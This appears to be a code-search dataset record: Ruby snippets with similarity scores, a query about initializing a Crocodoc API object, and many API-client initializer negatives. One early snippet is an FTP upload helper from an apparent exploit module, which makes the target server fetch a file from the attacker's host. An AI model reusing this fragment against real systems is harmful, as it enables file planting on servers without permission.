'+ guest_path,true)\n run_command 'del C:\\Users\\IEUser\\.tempadminfile', true\n end", "def upload(filename)\r\n select(nil, nil, nil, 1)\r\n\r\n peer = \"#{rhost}:#{rport}\"\r\n print_status(\"#{peer} - Trying to upload #{::File.basename(filename)}\")\r\n conn = connect(false, datastore['VERBOSE'])\r\n if not conn\r\n fail_with(Exploit::Failure::Unreachable, \"#{@peer} - Connection failed\")\r\n end\r\n\r\n # Switch to binary mode\r\n print_status(\"#{peer} - Set binary mode\")\r\n send_cmd(['TYPE', 'I'], true, conn)\r\n\r\n # Prepare active mode: Get attacker's IP and source port\r\n src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']\r\n src_port = datastore['SRVPORT'].to_i\r\n\r\n # Prepare active mode: Convert the IP and port for active mode\r\n src_ip = src_ip.gsub(/\\./, ',')\r\n src_port = \"#{src_port/256},#{src_port.remainder(256)}\"\r\n\r\n # Set to active mode\r\n print_status(\"#{peer} - Set active mode \\\"#{src_ip},#{src_port}\\\"\")\r\n send_cmd(['PORT', \"#{src_ip},#{src_port}\"], true, conn)\r\n\r\n # Tell the FTP server to download our file\r\n send_cmd(['STOR', filename], false, conn)\r\n\r\n print_good(\"#{peer} - Upload successful\")\r\n disconnect(conn)\r\n end", "def test_copy_file\n remote_file_name = 'TestCopyFileSrc.docx'\n\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/' + remote_file_name\n\n request = CopyFileRequest.new(dest_path: remote_data_folder + '/TestCopyFileDest.docx', src_path: remote_data_folder + '/' + remote_file_name)\n\n @words_api.copy_file(request)\n end", "def files_remote_post(file_type, title, item_type, item_id, remote_location, opts = {})\n files_remote_post_with_http_info(file_type, title, item_type, item_id, remote_location, opts)\n end", "def upload(from, to)\n end" ]
[ "0.83079976", "0.77929074", "0.77830356", "0.7639388", "0.76355326", "0.7625878", "0.75765216", "0.7434657", "0.73996556", "0.73916835", "0.7336373", "0.7229966", "0.7224018", "0.71131295", "0.7026892", "0.7015228", "0.6964005", "0.69442505", "0.69015735", "0.68424445", "0.67421657", "0.6731469", "0.6719084", "0.66735566", "0.66449314", "0.65990484", "0.65177405", "0.65160036", "0.6513912", "0.65009004", "0.6500041", "0.649765", "0.6445698", "0.64403915", "0.6425659", "0.6419876", "0.6415427", "0.639663", "0.63882047", "0.63822216", "0.63712597", "0.6365987", "0.63618404", "0.63320196", "0.6319089", "0.6305498", "0.6304283", "0.62986493", "0.6282766", "0.6272622", "0.62622607", "0.624762", "0.62453663", "0.6245073", "0.6235172", "0.62293595", "0.622593", "0.622143", "0.6218291", "0.621529", "0.6204178", "0.6184952", "0.6181752", "0.61571896", "0.6138857", "0.6107194", "0.61042225", "0.6099084", "0.60969085", "0.6092215", "0.607658", "0.6073936", "0.6071386", "0.60708976", "0.60659873", "0.60379523", "0.60370916", "0.60256624", "0.60146254", "0.6009234", "0.599912", "0.5996855", "0.5988866", "0.59708726", "0.59704745", "0.59615093", "0.5955577", "0.5950087", "0.5948791", "0.59438807", "0.5925783", "0.5924017", "0.5915784", "0.59081703", "0.59048194", "0.59014195", "0.5887888", "0.5885683", "0.58815736", "0.58765125", "0.5870984" ]
0.0
-1
Public: Initialize a Crocodoc api object opts A hash of options with which to initialize the object :token The api token to use to authenticate requests. Required. Examples crocodoc = Crocodoc::API.new(:token => ) => >
def initialize(opts) self.token = opts[:token] # setup the http object for ssl @url = URI.parse(BASE_URL) @http = Net::HTTP.new(@url.host, @url.port) @http.use_ssl = true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize(opts=nil, doc=nil)\n super(opts, doc)\n require_opts :api_key, :api_base_url\n default_opts(:ssl_verify => true, :enable_gzip => true)\n end", "def initialize(opts)\n if opts[:api_key].nil?\n raise ArgumentError, \"Required option missing. Please pass ':api_key'.\"\n end\n\n client(opts)\n self\n end", "def initialize(opts = {})\n @api_key = opts[:api_key]\n @search_engine_id = opts[:search_engine_id]\n end", "def initialize(api, opts)\n # Initialize client. max_redirect is required as oauth2 will otherwise redirect to location from header (localhost)\n # https://github.com/intridea/oauth2/blob/master/lib/oauth2/client.rb#L100\n # Our code is encoded in the URL and has to be parsed from there.\n client = OAuth2::Client.new(\n api.client_id,\n api.client_secret,\n site: api.oauth_site,\n token_url: '/oauth/token',\n max_redirects: 0,\n raise_errors: true,\n connection_opts: { headers: { user_agent: api.user_agent } }\n )\n\n # Verify opts. Prefered authorization methis is auth_code. If no auth_code is present a login from\n # \"Resource Owner Password Credentials Grant\" flow.\n # @token is a Oauth2::AccessToken object. Accesstoken is @token.token\n @token =\n if opts.key?(:auth_code) && !opts[:auth_code].empty?\n # Exchange code for a token\n exchange_code_for_token(api, client, opts[:auth_code])\n else\n #\n login_with_resource_owner_password_credentials(\n client,\n opts[:username],\n opts[:password],\n )\n end\n\n # Override OAuth2::AccessToken#refresh! to update self instead of returnign a new object\n # Inspired by https://github.com/intridea/oauth2/issues/116#issuecomment-8097675\n #\n # @param [Hash] opts Refresh opts passed to original refresh! method\n #\n # @return [OAuth2::AccessToken] Updated access token object\n #\n def @token.refresh!(opts = {})\n new_token = super\n (new_token.instance_variables - %w[@refresh_token]).each do |name|\n instance_variable_set(name, new_token.instance_variable_get(name))\n end\n self\n end\n\n # Override OAuth2::AccessToken#request to refresh token when less then 60 seconds left\n #\n # @param [Symbol] verb the HTTP request method\n # @param [String] path the HTTP URL path of the request\n # @param [Hash] opts the options to make the request with\n #\n def @token.request(verb, path, opts = {}, &block)\n refresh! if refresh_token && (expires_at < Time.now.to_i + 60)\n super\n end\n end", "def initialize(opts={})\n name = opts[:user_agent] || DEFAULT_USER_AGENT\n @client = opts[:client] || HTTPClient.new( :agent_name => name )\n @apikey = opts[:apikey] || nil \n @opts = opts\n end", "def initialize(api_client_id = nil, api_secret = nil, tenancy_code = nil,\n **opts)\n super(tenancy_code, **opts)\n @api_client_id = api_client_id\n @api_secret = api_secret\n @api_token = nil\n self.api_root = opts[:api_root] || API_ROOT\n self.api_root_auth = opts[:api_root_auth] || API_ROOT_AUTH\n self.api_version = opts[:api_version] || 2\n rate_limit\n end", "def initialize opts = {}\n opts = Comufy.symbolize_keys(opts)\n\n begin\n yaml_location = opts.delete(:yaml)\n yaml = YAML.load_file(yaml_location)\n yaml = Comufy.symbolize_keys(yaml)\n rescue\n yaml = Hash.new()\n end\n\n @user = yaml.delete(:user) || opts.delete(:user) || ENV.fetch('COMUFY_USER', nil)\n @password = yaml.delete(:password) || opts.delete(:password) || ENV.fetch('COMUFY_PASSWORD', nil)\n @access_token = yaml.delete(:token) || opts.delete(:token) || ENV.fetch('COMUFY_TOKEN', nil)\n @expiry_time = yaml.delete(:time) || opts.delete(:time) || ENV.fetch('COMUFY_EXPIRY_TIME', nil)\n @base_api_url = yaml.delete(:url) || opts.delete(:url) || ENV.fetch('COMUFY_URL', 'http://www.sociableapi.com/xcoreweb/client')\n end", "def create_doc_with_http_info(doc, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DocApi.create_doc ...'\n end\n # verify the required parameter 'doc' is set\n if @api_client.config.client_side_validation && doc.nil?\n fail ArgumentError, \"Missing the required parameter 'doc' when calling DocApi.create_doc\"\n end\n # resource path\n local_var_path = '/docs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', 'application/pdf', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(doc)\n\n # return_type\n return_type = opts[:debug_return_type] || 'String'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth']\n\n new_options = opts.merge(\n :operation => :\"DocApi.create_doc\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DocApi#create_doc\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def initialize(options = nil)\n @options = options || @@default_options\n @api_key = @options[:api_key] || @options[:oauth_consumer_key]\n @shared_secret = @options[:shared_secret]\n @rest_endpoint = @options[:rest_endpoint] || REST_ENDPOINT\n @auth_endpoint = @options[:auth_endpoint] || AUTH_ENDPOINT\n \n if @options[:oauth_access_token] && @options[:oauth_access_token_secret]\n @access_token = OAuth::AccessToken.new(oauth_customer, @options[:oauth_access_token], @options[:oauth_access_token_secret])\n end\n end", "def initialize options = {}\n @api_token = options[:api_token]\n end", "def initialize\n endpoint = Figaro.env.cf_endpoint\n credentials = {version: 2, token: Figaro.env.cf_token, refresh_token: Figaro.env.cf_refresh_token}\n token = CFoundry::AuthToken.from_hash(credentials)\n @client = CFoundry::Client.get(endpoint, token)\n end", "def initialize(opts=nil, doc=nil, &lazymap)\n super(opts, doc)\n\n require_opts 'collection'\n default_opts({'per_page' => 100, 'extra_args' => {}})\n\n collection_key = collection.split(\"/\")[-1]\n @doc = get(collection, params={:count => per_page, :start => start}.update(@opts['extra_args']))\n @doc.has_key?(collection_key) ? @opts['key'] = collection_key : @opts['key'] = 'data'\n @opts['lazymap'] = lazymap if lazymap\n end", "def initialize(opts = {})\n @api_key = opts.fetch(:api_key)\n @username = opts[:username]\n end", "def api\n @api ||= Ncio::Api::V1.new(opts)\n end", "def api\n @api ||= Octokit::Client.new(:login => login, :oauth_token => token)\n end", "def initialize(opts = {})\n # Get options and assign default values:\n @host = opts[:host]\n @port = opts[:port]\n @token = opts[:token]\n @namespace = opts[:namespace] || 'default'\n\n # Prepare the TLS and authentication options that will be used for the standard Kubernetes API\n # and also for the KubeVirt extension:\n @opts = {\n ssl_options: {\n verify_ssl: OpenSSL::SSL::VERIFY_NONE,\n },\n auth_options: {\n bearer_token: @token\n }\n }\n\n # Kubeclient needs different client objects for different API groups. We will keep in this hash the\n # client objects, indexed by API group/version.\n @clients = {}\n\n # Nothing else is done here, as this method should never throw an exception, even if the\n # credentials are wrong.\n end", "def initialize(options = {})\n opts = {\n oauth_site: 'https://user.gini.net/',\n oauth_redirect: 'http://localhost',\n api_uri: 'https://api.gini.net',\n api_version: 'v1',\n api_type: 'json',\n upload_timeout: 90,\n processing_timeout: 180,\n log: Logger.new(STDOUT),\n user_agent: \"gini-api-ruby/#{VERSION} (Faraday v#{Faraday::VERSION})\"\n }.merge(options)\n\n # Ensure mandatory keys are set\n [:client_id, :client_secret].each do |k|\n raise Gini::Api::Error.new(\"Mandatory option key is missing: #{k}\") unless opts.key?(k)\n end\n\n # Populate instance variables from merged opts\n opts.each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n self.class.send(:attr_reader, k)\n end\n\n # Ensure STDOUT is flushed\n STDOUT.sync = true\n\n # Sanitize api_uri\n @api_uri.sub!(/(\\/)+$/, '')\n\n # Register parser (json+xml) based on API version\n register_parser\n\n @log.info('Gini API client initialized')\n @log.info(\"Target: #{@api_uri}\")\n end", "def initialize(api_key, api_secet, options={})\n @api_key, @api_secret = api_key, api_secet\n @consumer_options = options.merge(ApiOptions)\n end", "def initialize\n options ||= QuadrigaCX.configuration\n unless options.client_id && options.api_key && options.api_secret\n raise ArgumentError, \"Options required\"\n end\n\n @client_id = options.client_id\n @api_key = options.api_key\n @api_secret = options.api_secret\n end", "def initialize(opts)\n self.base_url = opts.fetch(:base_url, BASE_URL)\n self.app_name = opts.fetch(:app_name)\n self.api_key = opts.fetch(:api_key)\n end", "def initialize(api_key)\n @options = { headers: { 'Authorization' => \"token #{api_key}\" } }\n end", "def initialize\n self.client = Octokit::Client.new(\n login: \"tamouse\",\n password: WatchMyStuff::Configuration.two_fa\n )\n self.client.auto_paginate = true\n end", "def initialize(api_key, opts={})\n @api_key = api_key\n @uri = URI.parse opts[:api_uri] || API_URI\n @https = Net::HTTP.new @uri.host, @uri.port\n @https.use_ssl = true\n @https.cert = OpenSSL::X509::Certificate.new File.read(opts[:cert] || CERT)\n @https.verify_mode = OpenSSL::SSL::VERIFY_PEER\n end", "def initialize(ctoken, csecret, options={})\n @ctoken, @csecret, @consumer_options = ctoken, csecret, {}\n @api_endpoint = options[:api_endpoint] || 'http://api.teambox.com'\n @signing_endpoint = options[:signing_endpoint] || 'http://api.teambox.com'\n if options[:sign_in]\n @consumer_options[:authorize_path] = '/oauth/authenticate'\n end\n end", "def initialize api_key, api_secret\n @api_key = api_key\n @api_secret = api_secret\n end", "def initialize\n @format = 'json'\n @scheme = 'https'\n @host = 'api.imagga.com:443'\n @base_path = '/v2'\n @user_agent = 'Swagger/Ruby/0.1.0/beta'\n @inject_format = false\n @force_ending_format = false\n @camelize_params = false\n # for API key/token authentication\n @api_key = '';\n @api_key_type = '';\n @api_key_name = '';\n @api_key_prefix = '';\n # for http basic authentication\n @username = ''\n @password = ''\n @user_agent = 'Swagger/Ruby/0.1.0/beta'\n end", "def initialize(api_key, opts={})\n @api_key = api_key\n @https = opts[:https] ? opts[:https] : false\n end", "def initialize(token, version)\n # The token to use when connecting to the endpoint\n @token = token\n # The version of the API we will use\n @version = version\n end", "def initialize(doc); end", "def create_adwords_api()\n config_filename = File.join(Rails.root, 'config', 'adwords_api.yml')\n @api = AdwordsApi::Api.new(config_filename)\n token = session[:token]\n # If we have an OAuth2 token in session we use the credentials from it.\n if token\n credentials = @api.credential_handler()\n credentials.set_credential(:oauth2_token, token)\n credentials.set_credential(:client_customer_id, selected_account)\n end\n return @api\n end", "def initialize(ctoken, csecret, options={})\n @ctoken, @csecret, @consumer_options = ctoken, csecret, {}\n\n # if options[:sign_in]\n # @consumer_options[:authorize_path] = '/oauth/authenticate'\n # end\n end", "def initialize(api_key, options = {})\n @api_key = api_key\n @api_endpoint = DEFAULT_API_ENDPOINT\n end", "def initialize(oauth_token_key, oauth_token_secret, params = {})\n @myspacecontext = MySpace::MySpaceContext.new(oauth_token_key, oauth_token_secret, params )\n @myspacecontext.http_logger= params[:http_logger]\n @consumer = @myspacecontext.consumer\n @request_token= @myspacecontext.request_token\n @restv1 =RestV1.new(@myspacecontext)\n @restv9 =RestV9.new(@myspacecontext)\n @poco = PortableContact.new(@myspacecontext)\n @realstream = RealStream.new(@myspacecontext)\n @opensearch =OpenSearch.new(@myspacecontext)\n end", "def initialize (api_key)\n\t\t@params = {\n\t\t\t\"key\" => api_key,\n\t\t\t\"wrapper\" => \"cleverbotrb\"\n\t\t}\n\t\t@endpoint = ENDPOINT\n\tend", "def initialize(options)\n @api = GoogleReaderApi::Api::new options\n end", "def initialize(client_id, client_secret, opts={})\n @id = client_id\n @secret = client_secret\n @site = opts.delete(:site)\n ssl = opts.delete(:ssl)\n @options = { :authorize_url => '/oauth/authorize',\n :access_token_url => '/oauth/access_token', \n :access_token_method => :post,\n :connection_opts => {},\n :parse_json => false,\n :raise_errors => true }.merge(opts)\n @options[:connection_opts][:ssl] = ssl if ssl\n end", "def construct_builder!\n @builder = Brainstem::ApiDocs::Builder.new(builder_options)\n end", "def initialize(*args)\n raise ArgumentError, \"Requires at least the api_key and secret_key when instatiating\" if args.size == 0\n\n base_url = 'https://api.att.com'\n\n if args.size == 1 && args[0].instance_of?(Hash)\n args = args.shift\n @api_key = args[:api_key]\n @secret_key = args[:secret_key]\n @base_url = args[:base_url] || base_url\n set_ssl_verify args[:ssl_verify]\n else\n @api_key = args.shift\n @secret_key = args.shift\n @base_url = args.shift || base_url\n set_ssl_verify args.shift\n end\n\n @grant_type = 'client_credentials'\n @access_token = ''\n @refresh_token = ''\n\n create_connection 'application/json'\n\n get_tokens\n\n Actor.current\n end", "def create_adwords_api()\n config_filename = File.join(Rails.root, 'config', 'adwords_api.yml.erb')\n template = ERB.new File.new(config_filename).read\n processed = YAML.load template.result(binding)\n @api = AdwordsApi::Api.new(processed)\n token = session[:token]\n # If we have an OAuth2 token in session we use the credentials from it.\n if token\n credentials = @api.credential_handler()\n credentials.set_credential(:oauth2_token, token)\n credentials.set_credential(:client_customer_id, selected_account)\n end\n return @api\n end", "def initialize\n @api_user = \"\"\n @api_key = \"\"\n end", "def initialize(options = {})\n @api_key = options[:api_key]\n @language = options[:language] || Fotolia::Language.new(DEFAULT_LANGUAGE)\n @api_uri = options[:api_uri] || DEFAULT_API_URI\n @xmlrpc_client = XMLRPC::Client.new2(@api_uri)\n\n raise ApiKeyRequiredError unless(@api_key)\n end", "def initialize(api_obj)\n @api_obj = api_obj\n end", "def initialize(api)\n @api = api\n end", "def initialize(doc)\n @doc = doc\n end", "def ocs(args)\n OcsApi.new(args)\n end", "def initialize base_url, api_key\n\t\t\t\t\t@connection = Freshdesk::Api::Client::Request.new base_url, api_key\n\t\t\t\tend", "def initialize(options={})\n @api_key = options[:api_key] || config.api_key\n @path = options[:path]\n @params = options[:params]\n @http_request_options = options[:http_request_options] || {}\n end", "def create_hosted_doc_with_http_info(doc, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DocApi.create_hosted_doc ...'\n end\n # verify the required parameter 'doc' is set\n if @api_client.config.client_side_validation && doc.nil?\n fail ArgumentError, \"Missing the required parameter 'doc' when calling DocApi.create_hosted_doc\"\n end\n # resource path\n local_var_path = '/hosted_docs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', 'application/pdf', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(doc)\n\n # return_type\n return_type = opts[:debug_return_type] || 'DocStatus'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth']\n\n new_options = opts.merge(\n :operation => :\"DocApi.create_hosted_doc\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DocApi#create_hosted_doc\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def initialize(api_key = nil, shared_secret = nil, options = nil)\n @api_key = api_key || @@default_api_key\n @shared_secret = shared_secret || @@default_shared_secret\n @options = options || @@default_options\n @rest_endpoint = @options[:rest_endpoint] || REST_ENDPOINT\n @auth_endpoint = @options[:auth_endpoint] || AUTH_ENDPOINT\n end", "def initialize(options)\n @options = options\n @api_version_param = { :'api-version' => API_VERSION }\n end", "def initialize(options)\n @options = options\n @api_version_param = { :'api-version' => API_VERSION }\n end", "def initialize(api_key)\n @client = HTTPClient.new(\n default_header: {\n 'X-Auth-Token' => api_key,\n 'Content-Type' => 'application/json'\n }\n )\n end", "def initialize(opts)\n @client = opts.fetch(:client)\n end", "def initialize(api_client_id = nil, api_secret = nil, tenancy_code = nil, api_root: nil, api_root_auth: nil,\n api_version: nil, logger: nil, tenancy_root: nil, timeout: nil)\n\n self.api_root = api_root || 'https://rl.talis.com'\n self.api_root_auth = api_root_auth || 'https://users.talis.com/1/oauth/tokens'\n self.api_version = api_version || 2\n self.logger = logger\n self.rate_limit = nil\n self.rate_remaining = nil\n self.rate_reset = nil\n self.tenancy_code = tenancy_code\n self.tenancy_root = tenancy_root\n self.timeout = timeout.to_i\n\n @api_client_id = api_client_id\n @api_secret = api_secret\n @api_token = nil\n\n RestClient.log = self.logger if self.logger\n\n end", "def initialize(opts={})\n opts[:type] ||= nil\n opts[:required] = nil if !opts.has_key?(:required)\n\n # sets a documentation placeholder since the response doc is defined at the same time\n # the response is defined.\n @name = opts.delete(:name) if(opts.has_key?(:name))\n @doc = Documentation::ElementDoc.new(@name)\n @type = opts.delete(:type) if(opts.has_key?(:type))\n @required = opts.has_key?(:required) ? opts[:required] : true\n @attributes = []\n @vectors = []\n @opts = opts\n # we don't need to initialize the nested elements, by default they should be nil\n end", "def initialize(api_key, api_secret)\n @api_key = api_key\n @api_secret = api_secret\n @api_base_url = 'https://pepocampaigns.com'\n end", "def initialize(config)\n @config = config\n @api_client = ApiClient.new(config)\n @access_token = nil\n end", "def initialize(config)\n @config = config\n @api_client = ApiClient.new(config)\n @access_token = nil\n end", "def initialize( opts, config )\n @opts = opts\n @config = config\n end", "def initialize(*args)\n @client ||= Betaface::REST::Client.new(*args) \n end", "def initialize(api_key = nil)\n @api_key = api_key\n @api_key ||= Songkickr.api_key\n \n self.class.default_params :apikey => @api_key\n end", "def initialize(api_key)\n @api_key = api_key \n end", "def initialize(opts); end", "def initialize(api_key, secret, format_options={})\n @auth = { :api_key => api_key }\n @secret = secret\n end", "def initialize(options={})\n @global_opts = options # Provided via command line\n @credentials = DCL_WC_METADATA_API.validate_credentials\n @client = WC_METADATA_API::Client.new(\n :wskey => @credentials[\"key\"],\n :secret => @credentials[\"secret\"],\n :principalID => @credentials[\"principalID\"],\n :principalDNS => @credentials[\"principalDNS\"],\n :debug => false\n )\n @debug_info = \"CLIENT REQUEST(S)\"\n if @global_opts[:csv]\n @response_status = [\"Record Number\", \"Status\", \"Response\"].to_csv\n else\n @response_status = \"RESULT(S)\\n\\n\"\n end\n @response_data = Nokogiri::XML::Document.parse(\n \"<collection xmlns=\\\"http://www.loc.gov/MARC21/slim\\\">\"\n )\n @successes = 0\n @failures = 0\n end", "def api_key; @opts[:api_key]; end", "def client\n @client ||= Contentful::Client.new(\n access_token: options.access_token,\n space: options.space,\n dynamic_entries: :auto,\n api_url: options.api_url\n )\n end", "def initialize\r\n @apiKey = API_KEY\r\n @secret = SECRET\r\n end", "def initialize(api_key = Payable.api_key, path = Payable.current_rest_api_path, timeout = API_TIMEOUT, company_id = Payable.company_id)\n raise(\"api_key must be a non-empty string\") if !api_key.is_a?(String) || api_key.empty?\n raise(\"path must be a non-empty string\") if !path.is_a?(String) || path.empty?\n @api_key = api_key\n @path = path\n @timeout = timeout\n @company_id = company_id\n end", "def create_async_doc_with_http_info(doc, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DocApi.create_async_doc ...'\n end\n # verify the required parameter 'doc' is set\n if @api_client.config.client_side_validation && doc.nil?\n fail ArgumentError, \"Missing the required parameter 'doc' when calling DocApi.create_async_doc\"\n end\n # resource path\n local_var_path = '/async_docs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', 'application/pdf', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(doc)\n\n # return_type\n return_type = opts[:debug_return_type] || 'AsyncDoc'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth']\n\n new_options = opts.merge(\n :operation => :\"DocApi.create_async_doc\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DocApi#create_async_doc\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def initialize( opts, config )\r\n @opts = opts\r\n @config = config\r\n end", "def client\n Octokit::Client.new(:access_token => \"#{token}\")\n end", "def initialize\n self.http_client = HTTPClient.new(:base_url => Rdioid::BASE_URL, :force_basic_auth => true)\n\n http_client.set_auth(Rdioid::OAUTH_TOKEN_ENDPOINT, Rdioid.config.client_id, Rdioid.config.client_secret)\n end", "def initialize(api_key)\n @api_key = api_key\n end", "def initialize(client_id, client_secret, version='v4', base='https://platform.pokitdok.com')\n @client_id = client_id\n @client_secret = client_secret\n @version = version\n\n @api_url = \"#{base}/api/#{version}\"\n @client = OAuth2::Client.new(@client_id, @client_secret,\n site: @api_url, token_url: '/oauth2/token')\n\n\n @scopes = {}\n @scopes['default'] = { scope: refresh_token }\n scope 'default'\n end", "def initialize(api_key, secret_key, base_url='https://api.att.com')\n\t\t@api_key \t\t = api_key\n\t\t@secret_key = secret_key\n\t\t@base_url = base_url\n\t\t@grant_type = 'client_credentials'\n\t\t@scope = 'SPEECH'\n\t\t@access_token = ''\n\t\t@refresh_token = ''\n\t\t\n\t\tcreate_connection\n\t\tget_tokens\n\t\t\n\t\tself\n\tend", "def initialize( api_key )\n @api_key = api_key\n end", "def initialize(api_key, secret, user, session_key=nil)\n @api_key = api_key\n @secret = secret\n @user = user\n @session_key = session_key\n @source = \"P\"\n end", "def initialize(opts)\n @opts = opts\n end", "def initialize(options = {})\n options = { :access_token => options } if options.is_a? String\n options = self.class.options.merge(options)\n\n # Parse `api_url` option\n if url = options.delete(:api_url)\n uri = URI.parse(url)\n options[:api_scheme] = uri.scheme\n options[:api_host] = uri.host + (uri.port != 80 && uri.port != 443 ? \":#{uri.port}\" : '')\n end\n\n @access_token = options[:access_token] if options[:access_token]\n @api_scheme = options[:api_scheme]\n @api_host = options[:api_host]\n @api_version = options[:api_version]\n @api_prefix = options[:api_prefix]\n @client_token = options[:client_token] if options[:client_token]\n @transport = options[:transport]\n @result_format = options[:result_format]\n\n # Include transport\n transport_module = Lapse::Transport::TRANSPORT_MAP[@transport]\n raise 'Invalid transport' unless transport_module\n self.extend transport_module\n end", "def initialize(key = nil, api_key: nil)\n @api_key = key || api_key\n end", "def initialize(consumer_key, consumer_secret, options = {})\n @xero_url = options[:xero_url] || \"https://api.xero.com/api.xro/2.0\"\n @payroll_url = options[:payroll_url] || \"https://api.xero.com/payroll.xro/1.0\"\n @client = OAuth.new(consumer_key, consumer_secret, options)\n end", "def api\n # Don't cache instance for now because of a ruby marshaling bug present\n # in MRI 1.9.3 (Bug #7627) that causes instance variables to be\n # marshaled even when explicitly specifying #marshal_dump.\n Octokit::Client.new(:login => login, :access_token => token)\n end", "def initialize(opts = {})\n @user_id = opts[:user_id] || AddThis.configuration.user_id\n @password = opts[:password] || AddThis.configuration.password\n connection.basic_auth(@user_id, @password)\n end", "def initialize(api_key = nil, api_version = nil, url = nil, username = nil, password = nil, options = {})\n load_yaml\n if load_yaml\n @api_key = load_yaml['api_key']\n @api_version = load_yaml['api_version']\n @options = load_yaml['options']\n @password = load_yaml['password']\n @url = load_yaml['url']\n @username = load_yaml['username']\n else\n @api_key = api_key\n @api_version = api_version\n @options = options\n @password = password\n @url = url\n @username = username\n end\n end", "def initialize(username, password = nil, limiter = nil)\n @limiter = limiter\n @username = username.to_s\n if password\n protocol = REST.https('api.del.icio.us')\n auth = REST.basic_auth(username, password);\n @api_mode = true\n @limiter = DefaultLimiter unless @limiter\n else\n protocol = REST.http('del.icio.us')\n auth = nil\n @api_mode = false\n @limiter = NullLimiter unless @limiter\n end\n @rest = REST.new(protocol, auth)\n end", "def initialize(**args) # :nodoc:\n @opts = args\n end", "def initialize(api_key:)\n @api_key = api_key\n end", "def initialize(apikey='f47a72ab00afe64aab78b9919ee3d427')\n\t\t@api_key = apikey\n\t\t@headers = {\"Accept\" => \"application/JSON\", \"user-key\" => @api_key}\n\t\t@base_uri = \"https://developers.zomato.com/api/v2.1/\"\n\tend", "def initialize_client\n @client = HelpScoutDocs::Client.new(@options) unless defined?(@client) && @client.hash == @options.hash\n @client\n end", "def app\n Cyclid::API::App\nend", "def initialize(api_key)\n @client = Juicer::Client.new(api_key)\n end", "def initialize(opts)\n @name = opts[:name]\n @crypt_key = opts[:crypt_key]\n @hmac_secret = opts[:hmac_secret]\n @rest_key = opts[:rest_key]\n @rsa_key = opts[:rsa_key]\n end", "def initialize(api_url)\n\t\t# Convert to URI\n\t\turi = URI(api_url)\n\t\t# Call Canvas API\n\t\tcall_api(uri)\n\tend", "def initialize(options)\n required_arguments = %i(client_id client_secret refresh_token)\n raise ArgumentError if required_arguments & options.keys != required_arguments\n\n @client_id = options[:client_id]\n @client_secret = options[:client_secret]\n @access_token = options[:access_token]\n @refresh_token = options[:refresh_token]\n end", "def covid19_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.covid19 ...'\n end\n # resource path\n local_var_path = '/covid19/us'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<CovidInfo>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#covid19\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def initialize(api_key: nil)\r\n Configuration.api_key = api_key\r\n end", "def setup_client(token)\n client = 